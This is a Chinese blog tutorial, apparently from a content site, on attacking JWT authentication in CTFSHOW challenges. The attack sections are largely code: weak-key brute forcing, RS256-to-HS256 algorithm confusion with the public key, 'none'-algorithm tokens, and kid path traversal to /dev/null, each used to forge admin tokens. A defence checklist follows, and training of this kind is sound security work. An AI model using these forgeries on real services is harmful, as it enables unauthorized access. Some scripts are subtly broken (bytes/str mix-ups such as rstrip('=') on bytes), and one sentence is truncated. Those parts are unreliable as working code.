news 2026/9/15 13:44:11

CTF实战拆解:JWT攻击面与防御指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF实战拆解:JWT攻击面与防御指南

1. 先说清楚:CTF里的JWT到底在考什么

我在CTFSHOW刷Web题的时候,发现一个很有意思的现象:凡是跟登录、认证、会话相关的题目,十道里有八道会跟JWT挂钩。很多新手一看题目描述里写着"JWT"就直接发怵,觉得这是什么高深莫测的密码学机制。实际上,CTF里的JWT题,考的根本不是密码学知识,而是你能不能发现一套认证体系在落地实现时犯下的低级错误

JSON Web Token,说人话就是一套"服务器发给浏览器的通行证"。你登录成功之后,服务器不给你存session,而是直接给你发一张写好了身份信息的通行证,你后续每次请求都把这玩意儿带上,服务器验一下签名就知道你是谁了。听起来挺合理对吧?问题是,这张通行证的设计本身有个特点——它是自包含的,也就是说,身份信息直接写在token里,任何人都能读得到,只不过没有合法签名的人改不了。

这个特性放在生产环境里,配合各种不严谨的实现,就变成了CTF出题人最喜欢的素材库。我在CTFSHOW的JWT系列里基本上把这几类考法见了个遍:弱密钥爆破、算法混淆、none算法绕过、kid参数注入、敏感信息泄露。下面我把每一类的原理、题目特征和实战解法拆开讲清楚,你照着这套思路去刷,基本能覆盖九成以上的JWT题目。

2. 拿到JWT题的第一步:先学会看一张token上写了什么

2.1 三段式结构的读法

JWT长成什么样?你随便拿一个,它一定是三串用点号分隔的乱码,大概是这种感觉:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MzAwMDAwMDB9.sQ2WTH4Y1VJ0vXyKq5X8mN7FkVcTjLH7G2jXsQnPvGg

三段的含义分别是:header(头部)、payload(负载)、signature(签名)。CTF里第一步永远是解码,不是爆破。把前两段扔进Base64解码,你会看到类似这样的东西:

// header {"alg":"HS256","typ":"JWT"} // payload {"username":"admin","role":"user","exp":1730000000}

header里最关键的是alg字段,它声明了签名算法;payload里就是身份信息,常见的有用户名、角色、过期时间、邮箱、用户ID之类的。注意,这两段是明文编码,不是加密,任何拿到token的人都能看内容。所以我在CTFSHOW上遇到过不止一道题,flag就直接躺在payload里。那种题最没技术含量,但恰恰说明很多初学者连解码这一步都没做。

2.2 签名到底怎么算的

第三段签名不是随便长的,它是对base64(header) + "." + base64(payload)这两段内容做了一次哈希运算后得到的。不同算法算出来的东西不一样:

  • HS256:用同一个密钥进行HMAC-SHA256运算。密钥就是一个字符串,服务器和客户端都。但实际场景里,服务器自己拿着密钥,客户端只负责带着token来回跑。
  • RS256:用私钥签名、公钥验签的非对称算法。服务器持有私钥,任何人拿到公钥都可以验证token真伪,但只有服务器能签发。

HS256和RS256的区别,在CTF里直接决定了攻击路径。HS256是"一把钥匙走天下",如果这把钥匙太弱(比如短密码、常见单词),你就可以离线暴力破解;RS256是"私钥签名公钥验证",看起来很安全,但如果你能骗服务器改用HS256去验签一串本来用RS256签发的token,那就出大事了。

这里我建议你记住一个判断技巧:凡是题目里只给你一个token、不给公钥的,大概率是HS256弱密钥爆破;凡是题目里有单独的publickey文件下载的,多半是算法混淆攻击。CTFSHOW上好几道题都是这个套路。

3. 从CTFSHOW实战里拆出来的四类攻击手法

3.1 第一类:弱密钥爆破,NSA都拦不住你

先说最常见的一类。题目给你一个已登录用户的token,怎么拿管理员权限?看一眼header里的alg是HS256,然后直接上字典爆破密钥。

爆破的原理很简单:HS256是对header.payload用密钥做了HMAC,如果密钥在字典里,你就可以用字典里的每个词重新算一遍签名,跟token里的第三段比对。一致就是猜中了。

我在CTFSHOW刷的一道题,header长这样:

{"alg":"HS256","typ":"JWT"}

payload里用户名是user,目标肯定要改成admin。做法分两步走:

第一步,爆破密钥:

hashcat -m 16500 jwt.txt dict.txt

-m 16500就是JWT的HS256模式。如果机器上没装hashcat,用Python脚本也行,核心逻辑就是逐个尝试字典里的词,计算HMAC比对:

import hmac import hashlib import base64 def b64url_decode(data): padding = '=' * (4 - len(data) % 4) return base64.urlsafe_b64decode(data + padding) token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.signature" header_payload = token.rsplit('.', 1)[0] with open('dict.txt', 'r') as f: for line in f: key = line.strip() sign = base64.urlsafe_b64encode( hmac.new(key.encode(), header_payload.encode(), hashlib.sha256).digest() ).rstrip('=') if sign == token.rsplit('.', 1)[1]: print(f"密钥找到了: {key}")

第二步,既然密钥在手,直接把payload里的username改成admin,重新签一个:

import jwt token = jwt.encode( {"username": "admin"}, key, # 爆破得到的密钥 algorithm="HS256" ) print(token)

然后拿新token去请求管理员接口拿flag。整个过程思路很简单,难的是密钥字典够不够好。CTF里常见的弱密钥就那些:secretadmin123456passwordqwertytestkey,再不行就上rockyou.txt。出题人不可能给个高强度随机密钥,否则题就没法做了。

3.2 第二类:算法混淆攻击,把RS256的token塞进HS256的验签流程里

这类题在CTFSHOW的JWT专题里几乎是必出现的,难度比弱密钥爆破高一档,因为它考的是对JWT标准实现缺陷的理解。

场景是这样的:服务器公开了一个公钥文件(比如publickey.pem),正常签发用RS256。但服务器在验签的时候,没有校验token头里的alg字段跟预期是否一致,而是直接信任了token自己声明的算法。

攻击流程:

  1. 拿到自己账号的合法token,解码出header和payload。
  2. 把header里的algRS256改成HS256
  3. 用拿到的公钥内容作为HMAC的密钥,对header.payload重新签名。
  4. 提交这个token,服务器一看alg声明的是HS256,就真的用公钥字符串当密钥去验签了。

为什么能成功?因为RS256的公钥是公开的。如果是RS256,你拿公钥只能验签、不能伪造;但你骗服务器把算法降级成HS256之后,公钥就变成了对称密钥。同一个字符串,本来只能用来"验证",现在可以用来"伪造"。

我当时在CTFSHOW上遇到这道题,服务器返回500,看到publickey.pem下载链接的那一刻基本就锁定了。实现脚本大概长这样:

import jwt import hmac import hashlib import base64 public_key = open('publickey.pem', 'rb').read() # 原始token original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIifQ.signature" header_payload = original_token.rsplit('.', 1)[0] # 构造新token,alg改成HS256,payload改admin header = base64.urlsafe_b64encode( b'{"alg":"HS256","typ":"JWT"}' ).rstrip('=') payload = base64.urlsafe_b64encode( b'{"username":"admin"}' ).rstrip('=') signing_input = header + b'.' + payload signature = base64.urlsafe_b64encode( hmac.new(public_key, signing_input, hashlib.sha256).digest() ).rstrip('=') forged_token = signing_input.decode() + '.' + signature.decode() print(forged_token)

这里有个特别值得注意的细节:用公钥字符串当HMAC密钥时,是直接用的公钥原始内容,不是公钥文件路径。很多新手在写脚本的时候把路径传进去了,导致签名对不上,调试半天。用Python的jwt库时,jwt.encode(payload, public_key, algorithm='HS256')直接传公钥内容就能正确生成。

3.3 第三类:none算法绕过,啥钥匙都不用

这是一个更古老也更搞笑的漏洞。早期一些JWT库在实现的时候,如果header里的algnone,就跳过签名校验。等于说,你把alg改成none,再随便删掉签名部分,服务器就信了。

为什么会有这种设计?因为JWT标准里允许用none来表示"无签名"的场景(比如内部服务间调用,反正内网可信)。但问题在于,很多库对alg的解析太宽松,你传一个NoneNONEnOnE或者none前面加个空格,有些解析器就会当成none来处理,直接跳过验签。

攻击payload如下:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.

注意最后有一个点,然后是空的签名段。有些工具会自动生成这种token,比如jwt_tool就有-a none参数。

CTFSHOW上有些题考的就是这个。怎么判断?你先把token解出来看alg,如果是HS256或者RS256,先试着把它改成none,payload改成管理员,签名删掉,直接提交。如果服务器返回的响应不再是401或者403,而是正常的业务响应,那就成了。

不过说句实在话,这类题目在最近的CTF里越来越少,因为主流JWT库基本都堵住了这个洞。但如果你在CTFSHOW的入门级题目里碰到,别觉得奇怪——这个平台本来就是从最基础的漏洞开始设计的,目的是让你把每个攻击面都走一遍。

3.4 第四类:header参数注入,kid、jku、x5u们的故事

这一类在CTF里属于进阶考法,CTFSHOW的JWT系列里也有涉及。JWT的header里除了algtyp,还允许一些标准参数,比如:

  • kid:Key ID,告诉服务器用哪把密钥来验签。
  • jku:JWK Set URL,告诉服务器去哪里取验签密钥。
  • x5u:X.509证书URL,告诉服务器去哪下载证书。
  • iss:签发者,某些库会用它去查对应的密钥。

这些参数的设计初衷是"方便密钥管理",但也给攻击者留了口子。最常见的是kid注入:

场景:服务器校验kid对应的值,然后从文件系统读取该路径的内容作为密钥。比如伪代码:

key = open(header['kid'], 'r').read()

如果kid/etc/passwd,服务器就会把/etc/passwd的内容当成密钥来验签。当然大部分情况你没法预测密钥内容,但你可以让kid指向一个你自己可控的文件,比如:

  • kid指向一个远程URL(如果服务器支持http://协议)。
  • kid设置成../../dev/null,让服务器用空字符串作为密钥。

实操技巧:如果kid注入可行,直接把密钥置空往往是最省事的。/dev/null的内容就是空字符串,服务器读出来是'',然后你用空字符串做HMAC签名,就伪造成功了。Python里就是:

import jwt token = jwt.encode({"username": "admin"}, "", algorithm="HS256", headers={"kid": "../../../dev/null"})

不过这一招能不能成,取决于服务器拼接路径的方式。比如kid的值直接作为文件路径拼接在/keys/后面,那你得构造../../dev/null去穿越到根目录。

jku注入kid的思路类似,区别在于它是让服务器去一个URL加载JSON格式的密钥集合(JWKS)。如果你能控制这个URL,直接放到自己的服务器上,托管一个你自己生成的公钥,然后拿对应的私钥签一个token,服务器加载了你的公钥后就会信任你的签名。

在CTFSHOW上怎么判断是这类题:抓包看token的header,发现里面有kidjkux5u字段,或者服务器返回的报错信息里出现了keyfilepathurl等字样,就往注入方向想。

4. 实战复现:我在CTFSHOW刷JWT题的完整步骤

4.1 前置准备:需要哪些工具

工具不在多,顺手就行。我刷CTFSHOW JWT系列时常用的三件套:

  • jwt_tool:专门用来打JWT的瑞士军刀,支持弱密钥爆破、算法混淆、none绕过、kid注入、jku注入,一条命令能完成大半操作。
  • Python + PyJWT:手工构造token、写脚本时候用,灵活度最高。
  • Burp Suite:抓包改包发请求,改header、替换token、看响应,必备。

4.2 一轮题目的完整解题链路

我在CTFSHOW上随便挑一道JWT题,按照以下顺序完整走一遍,这套流程可以复用到绝大多数题目上:

第一步:抓包看token长什么样

登录一次拿到cookie或者Authorization头里的token,先扔到 jwt.io 或者本地解码器里解一下,看header和payload的字段。重点关注algkidusernameroleadmin这些值。

第二步:判断题目类型

解码之后做分类判断。我的判断顺序是:

观察项可能攻击方式
alg为HS256,且无公钥下载弱密钥爆破
alg为RS256,且提供公钥文件算法混淆攻击
alg可改成none且服务端信任none算法绕过
header里有kid/jku/x5u参数注入类攻击
payload里有敏感字段直接解码读数据

第三步:按判断执行攻击

如果是弱密钥爆破,直接上jwt_tool:

python jwt_tool.py <token> -C -d dict.txt

-C是爆破模式,-d指定字典。爆破成功后会告诉你密钥,然后自动给你生成一个篡改后的token。

如果是算法混淆,你先下载公钥:

wget http://target.com/publickey.pem

然后用jwt_tool的-S hs256 -k publickey.pem参数把算法降级:

python jwt_tool.py <token> -S hs256 -k publickey.pem

第四步:提交伪造token验证

拿到新token替换掉原本的请求,看响应。如果页面上出现了管理员的界面,或者接口返回了flag,说明成功。如果还是401,就看响应体里有没有报错信息,报错往往会泄露后端使用的JWT库和版本,再去搜对应的绕过姿势。

4.3 我在实操中踩过的坑

第一个坑:Base64 URL编码补位问题。JWT用的是URL安全的Base64编码,+/分别用-_替代,而且通常不带=填充。在写脚本的时候Python的base64.urlsafe_b64encode会自带=,你要rstrip('=')去掉。不然后面的signature对不上。

第二个坑:字典选不好,爆破直接死循环。爆破HS256密钥的时候,如果题目的密钥是个随机长字符串,你的字典再大也是白搭。CTF里的弱密钥基本上就是那十几个常见的词,先试这些,再上rockyou。我在CTFSHOW上遇到的题,密钥最多的就是secretkey

第三个坑:改了payload忘了保证原有字段格式。比如payload原本是{"username":"user", "role":"user", "exp":1234567},你只改username不改role,或者把exp删了,服务端校验的时候可能因为缺某个必填字段直接拒绝。最稳妥的办法是在原有payload基础上只改需要的字段,别整个替换。

5. 怎么防:出题人视角下的JWT安全设计

做题做多了,其实能反过来总结出一套防御清单。CTF里的每一个漏洞,对应的都是生产环境中的真实疏漏。你在CTFSHOW上练的这些攻击手法,换到真实渗透测试里,一样能打。下面几个防御要点,我在刷完JWT系列之后深有体会。

5.1 密钥管理是第一道防线

HS256的弱密钥爆破之所以能成,本质是用了强度不够的密钥。生产环境里HS256的密钥至少要有256位熵,换算过来是一个32字节的随机字符串,而且不能硬编码在代码里,更不能不进代码仓库。我在CTF里见过最离谱的,把密钥写在config.js里然后公开在GitHub上的。真实渗透测试里,很多人就是靠搜代码仓库找到密钥打进去的。

推荐的做法是用环境变量或者专门的密钥管理服务(KMS)来存,定期轮换。如果系统已经有非对称密钥的基础设施,优先用RS256/ES256,私钥永远不离开服务器。

5.2 算法白名单和校验必须写死

算法混淆攻击的根源,是服务端盲目信任token头部声明的alg字段。防御方案其实非常简单:在验签代码里硬编码允许的算法列表,不允许就拒绝。比如PyJWT里:

jwt.decode(token, public_key, algorithms=["RS256"])

注意,这里algorithms参数必须是明确的["RS256"],不能传algorithms=None或者空列表,更不能使用jwt.algorithms.get_default_algorithms()这种把HS256也包含进去的配置。

kidjku这些参数也一样,要么不依赖外部输入,要么加白名单校验。kid的值应该是一个索引,去查后端配置里的密钥映射,而不是直接拼接到文件路径上。

5.3 敏感信息永远不要写进payload

前面说了,payload是明文,不是加密。很多开发者以为JWT是加密的,把手机号、身份证号、内部ID直接丢进去。CTF里有些题离谱到什么程度?FLAG就在payload里,连攻击都省了。

生产环境下,如果你只是想保持登录态,payload里存个用户ID就够了,其他信息需要的时候再去数据库查。如果非要存敏感信息,至少要用JWE(JSON Web Encryption)做加密,而不仅仅是JWS签名。

5.4 过期时间不是装饰品

我看CTFSHOW有些题的token里根本没有exp字段,或者有但服务器不校验。真实场景里,token过期是一个很重要的安全边界,没有过期时间的token一旦泄露,等于永久的钥匙。

另外提一句refresh token,这是大家经常会搜的一个词。JWT实现token续签的正确姿势是:短期access token + 长期refresh token,access token过期后用refresh token换取新的access token,而不是让access token无限期有效。CTF里一般不考刷新流程,但你在对接真实业务的时候一定会用到。

5.5 日志别把token全量打出来

最后提一个很多人忽略的点。JWT里的payload是敏感的,如果服务端日志里把整个token原样打印,任何能看到日志的人都能解码读到用户信息。那些有权限访问日志平台的内部员工,等于是免费看所有用户的身份信息。我在刷题的过程中做过一次复盘:如果我是平台的运维,我第一件事就是去检查日志里有没有露出token。这个习惯,做Web的都建议养成。

6. 赛后再深入一步:JWT漏洞线上发展的几个方向

刷完CTFSHOW的JWT题,你其实已经把整个JWT攻击面摸了一遍。但如果想进一步深入,还有几个方向值得研究。

方向一:CTF题型里不常考但真实的攻击链。比如JWT配合OAuth2.0的state参数绕过、open redirect配合jku注入、JWT的c-l换行注入(在header里注入换行符伪造多个header字段)。我在CTFSHOW上没怎么见过,但实际渗透测试里遇到过类似场景。

方向二:服务端状态与JWT的混合使用。现在很多业务不是纯JWT,而是JWT + Session + Cookie混着用。比如token放在cookie里但走session存储,或者JWT里存了session ID。这种混搭往往会产生一些出人意料的边界情况,值得研究。

方向三:JWT库版本的CVE利用。JWT各种语言实现的历史漏洞非常多,比如CVE-2015-9235(alg混淆)、CVE-2016-10555(RS256/HS256算法混淆)、CVE-2018-0114(node-jose的key注入)等。去翻一翻这些CVE的公告和利用代码,你会对"看似安全的标准实现为什么能被绕过"有更深刻的理解。

对这些感兴趣的,直接去GitHub搜索各大JWT库的issue和commit记录,比看任何总结文章都管用。我在刷CTFSHOW之后就是这么干的——把每个漏洞对应的修复commit翻出来看,搞清楚修了哪里、为什么这么修,才真正理解了这个漏洞。

话说回来,CTF刷题也好,研究CVE也好,最终的目的都是培养一种肌肉记忆——看到一个token、一个认证接口,脑子里能自动浮现出"我能怎么打它"。这种反应速度是看多少篇博客都换不来的,只能靠一道道题喂出来。CTFSHOW的JWT系列是个不错的训练场,从入门到进阶的梯度设置得相当平滑,你按我上面梳理的这条路线去刷,每一个关卡打通的瞬间,那种"原来如此"的感觉,就是这行最上头的时刻。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/15 13:42:08

3步搞定旅游集团网站建设,免费工具让不懂代码也能上手

3步搞定旅游集团网站建设,免费工具让不懂代码也能上手 自己不会代码想做网站,是不是觉得像天方夜谭?别慌,对于 旅游集团网站建设 来说,这根本不是技术难题,而是工具选错和思路没理清。很多传统旅游企业老板都有这个误区,觉得搞个官网得花几十万请开发团队。其实,利用现在成熟的 免费工具…

作者头像 李华
网站建设 2026/9/15 13:39:44

51单片机LED驱动原理:IO口电气特性与C语言控制

简介&#xff1a;本资源是一套面向单片机初学者与嵌入式课程实践者的51单片机基础实验案例&#xff0c;聚焦IO口输出控制核心技能&#xff0c;通过Proteus仿真与C语言代码双轨验证&#xff0c;解决“如何用有限IO口高效驱动多个LED”的典型工程问题。压缩包共10个文件&#xff…

作者头像 李华
网站建设 2026/9/15 13:38:02

ResNet18适配Cifar10的工业级训练实践

简介&#xff1a;本资源是一份面向深度学习初学者与PyTorch实践者的Cifar10图像分类实战项目&#xff0c;聚焦ResNet18网络结构原理与端到端训练流程&#xff0c;解决小规模数据集上模型精度提升与泛化能力优化问题。压缩包共6个文件&#xff08;5个Python源码1份README说明&am…

作者头像 李华
网站建设 2026/9/15 13:37:22

ENVI 5.3.1实战:Landsat 8辐射定标与FLAASH大气校正全流程

用ENVI 5.3.1做Landsat 8影像的辐射定标和大气校正&#xff0c;是每个搞遥感的人最早接触的一整套预处理流水线。不管你后面是要算植被指数、反演地表温度&#xff0c;还是做土地利用分类&#xff0c;这一步绕不过去。今天我把完整的实例操作、参数设置、容易踩的坑从头到尾捋一…

作者头像 李华